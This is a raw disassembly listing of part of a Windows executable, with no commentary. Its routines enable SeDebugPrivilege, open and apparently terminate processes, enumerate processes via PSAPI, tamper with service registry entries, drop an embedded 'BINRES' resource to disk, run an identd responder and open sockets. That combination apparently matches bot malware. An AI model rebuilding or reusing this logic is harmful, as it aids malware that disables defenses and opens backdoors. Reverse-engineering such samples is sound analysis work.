		lea	ecx, [esp+0A0h+var_78]
		call	sub_401479
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017EE
		push	eax
		push	71h
		call	esi
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	near ptr byte_5F285B
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_511C9C
		push	ebp
		call	esi
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi
		mov	byte_4E8E99, bl
		pop	edi
		jmp	short loc_41F9FE
; ---------------------------------------------------------------------------


loc_41F9E7:				; CODE XREF: sub_41F860+67j
		push	7D0h
		nop
		call	near ptr 2830000h
		jmp	short loc_41FA01
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F860+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_511C9C


loc_41F9FE:				; CODE XREF: sub_41F860+185j
		push	ebp
		call	esi


loc_41FA01:				; CODE XREF: sub_41F860+38j
					; sub_41F860+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F860	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FA90	proc near		; CODE XREF: sub_401AD2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FACB
		dec	eax
		jz	short loc_41FAB4
		dec	eax
		jnz	short loc_41FAF1
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 4
		call	sub_401DE3
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FAB4:				; CODE XREF: sub_41FA90+8j
		mov	ecx, dword_50DB28
		mov	dword_50DB0C, 7
		call	sub_401028
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FACB:				; CODE XREF: sub_41FA90+5j
		mov	ecx, dword_50DB28
		xor	eax, eax
		mov	dword_50DB14, eax
		mov	dword_50DB0C, 1
		mov	dword_50DB1C, eax
		mov	dword_50DB20, eax
		call	sub_40174E


loc_41FAF1:				; CODE XREF: sub_41FA90+Bj
					; sub_41FA90+22j ...
		mov	eax, dword_50DB2C
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		nop
		call	near ptr 28F0745h
		retn	4
sub_41FA90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FB30:				; CODE XREF: ___:loc_401965j
		push	esi
		xor	esi, esi
		push	offset sub_401AD2
		mov	ecx, offset byte_44990F
		mov	dword_50DB08, 20h
		mov	dword_50DB0C, 2
		mov	dword_50DB10, 3
		mov	dword_50DB14, esi
		mov	dword_50DB18, esi
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 28F03FBh
		cmp	eax, esi
		mov	dword_50DB2C, eax
		jz	short loc_41FBAA
		push	offset dword_50DB08
		push	eax
		mov	dword_50DB0C, 4
		mov	dword_50DB1C, esi
		mov	dword_50DB20, esi
		nop
		call	near ptr 28F0745h


loc_41FBAA:				; CODE XREF: ___:0041FB86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FBD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F0A0
		mov	eax, esi
		pop	esi
		retn
sub_41FBD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FC00	proc near		; CODE XREF: sub_401CF3j

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50DB28, ecx
		push	100h
		mov	ecx, offset byte_44990F
		call	sub_4017EE
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401965
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 28F0000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FC00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC80:				; CODE XREF: ___:00401C44j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FCA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCA2:				; CODE XREF: ___:0041FC9Aj
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2871CD7h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FCB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCB9:				; CODE XREF: ___:0041FCB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		call	near ptr 279038Eh
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FCDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCDC:				; CODE XREF: ___:0041FCD4j
		push	ebp
		push	edi
		push	esi
		nop
		call	near ptr 2790AD9h
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 27A0000h
		push	ebp
		mov	esi, eax
		call	near ptr 27A03A3h
		nop
		push	ebx
		push	esi
		push	1
		push	eax
		call	near ptr 77C4173Bh
		nop
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD50	proc near		; CODE XREF: sub_40188Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FD78
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_41FD71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FD71:				; CODE XREF: sub_41FD50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FD78:				; CODE XREF: sub_41FD50+Fj
		pop	esi
		retn
sub_41FD50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD90	proc near		; CODE XREF: sub_401AA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FDAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FDAE:				; CODE XREF: sub_41FD90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE0A:				; CODE XREF: sub_41FD90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FD90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FE6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE6E:				; CODE XREF: sub_41FE50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41FEC0
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEC0:				; CODE XREF: sub_41FE50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FEF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF24
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF27


loc_41FF24:				; CODE XREF: sub_41FEF0+14j
		or	eax, 0FFFFFFFFh


loc_41FF27:				; CODE XREF: sub_41FEF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FEF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF40	proc near		; CODE XREF: sub_402009j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41FF76
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF76
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF79


loc_41FF76:				; CODE XREF: sub_41FF40+8j
					; sub_41FF40+1Aj
		or	eax, 0FFFFFFFFh


loc_41FF79:				; CODE XREF: sub_41FF40+34j
		pop	edi
		pop	esi
		retn
sub_41FF40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41FF90	proc near		; CODE XREF: sub_401604j

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_437B30
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_4382BC
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41FFC3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_41FFC3:				; CODE XREF: sub_41FF90+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42008D
		push	ebx
		mov	ebx, dword_5117E0
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_41FFE5:				; CODE XREF: sub_41FF90+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420077
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_4382B6
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420070
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_4382B0
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h
		dd 500D75C0h, 0E4E89056h, 0C6023701h, 1132444h
; ---------------------------------------------------------------------------


loc_420070:				; CODE XREF: sub_41FF90+A2j
		push	esi
		nop
		call	near ptr 283094Ch


loc_420077:				; CODE XREF: sub_41FF90+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_41FFE5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42008D:				; CODE XREF: sub_41FF90+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_41FF90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4200F0	proc near		; CODE XREF: sub_401A0Aj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4200F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401870
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401EAB
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42026A
		lea	ecx, [esp+460h+var_43C]
		call	sub_40142E
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_40168B
		push	eax
		push	80000002h
		nop
		call	near ptr 2930271h
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		nop
		call	near ptr 28E0000h
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_5119E0
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_444AD4 ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE1466E8h, 0EBE850FFh, 90023C0Bh, 14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42026A:				; CODE XREF: sub_4200F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4200F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420300	proc near		; CODE XREF: sub_401EABj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900A56h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420325
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420325:				; CODE XREF: sub_420300+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 28A041Dh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420350
		push	ebx
		nop
		call	near ptr 2910382h
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420350:				; CODE XREF: sub_420300+3Fj
		push	ebp
		push	edi
		mov	edi, dword_511748
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_511744
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_511754
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420300	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4203D0	proc near		; CODE XREF: sub_4018B6j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		call	near ptr 2790232h
		nop
		push	eax
		nop
		call	near ptr 28C1529h
		mov	ebp, dword_511720
		mov	edi, dword_5118E0
		test	eax, eax
		jnz	short loc_420420
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 2790249h
		push	eax
		nop
		call	near ptr 28C1B50h
		test	eax, eax
		jz	short loc_42047F


loc_420420:				; CODE XREF: sub_4203D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420483
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 28D0000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420478
		call	near ptr 27C092Fh
		nop
		cmp	eax, 514h
		jnz	short loc_420483
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42047D
; ---------------------------------------------------------------------------


loc_420478:				; CODE XREF: sub_4203D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42047D:				; CODE XREF: sub_4203D0+A6j
		call	edi


loc_42047F:				; CODE XREF: sub_4203D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420483:				; CODE XREF: sub_4203D0+54j
					; sub_4203D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 2700000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4204A8
		push	0
		push	esi
		nop
		call	near ptr 279024Fh
		push	esi
		mov	bl, 1
		call	edi


loc_4204A8:				; CODE XREF: sub_4203D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4204C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4204C7:				; CODE XREF: sub_4203D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4203D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420530	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420530
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 2871CD7h
		test	eax, eax
		mov	dword_50DB30, eax
		jnz	short loc_42057C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 27E0937h
		test	eax, eax
		mov	dword_50DB30, eax
		jz	loc_4206FA


loc_42057C:				; CODE XREF: sub_420530+32j
		mov	esi, dword_511918
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50DB34, eax
		mov	eax, dword_50DB30
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50DB30
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50DB38, eax
		call	esi
		mov	ecx, dword_50DB34
		mov	dword_50DB3C, eax
		test	ecx, ecx
		jz	loc_4206FA
		mov	edx, dword_50DB38
		test	edx, edx
		jz	loc_4206FA
		test	eax, eax
		jz	loc_4206FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4206FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4206E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_5117E0
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42063F:				; CODE XREF: sub_420530+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4206CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50DB38
		test	eax, eax
		jz	short loc_4206C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50DB3C
		lea	ecx, [esp+74h+var_54]
		call	sub_401875
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015E1
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402185
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A82


loc_4206C6:				; CODE XREF: sub_420530+136j
		push	esi
		nop
		call	near ptr 283094Ch


loc_4206CD:				; CODE XREF: sub_420530+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42063F
		pop	ebp
		pop	ebx


loc_4206E1:				; CODE XREF: sub_420530+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4206FA:				; CODE XREF: sub_420530+46j
					; sub_420530+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207A0	proc near		; CODE XREF: sub_401875j
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_4207A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4207C0	proc near		; CODE XREF: sub_401A82j
		jmp	sub_401226
sub_4207C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207E0	proc near		; CODE XREF: sub_402162j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
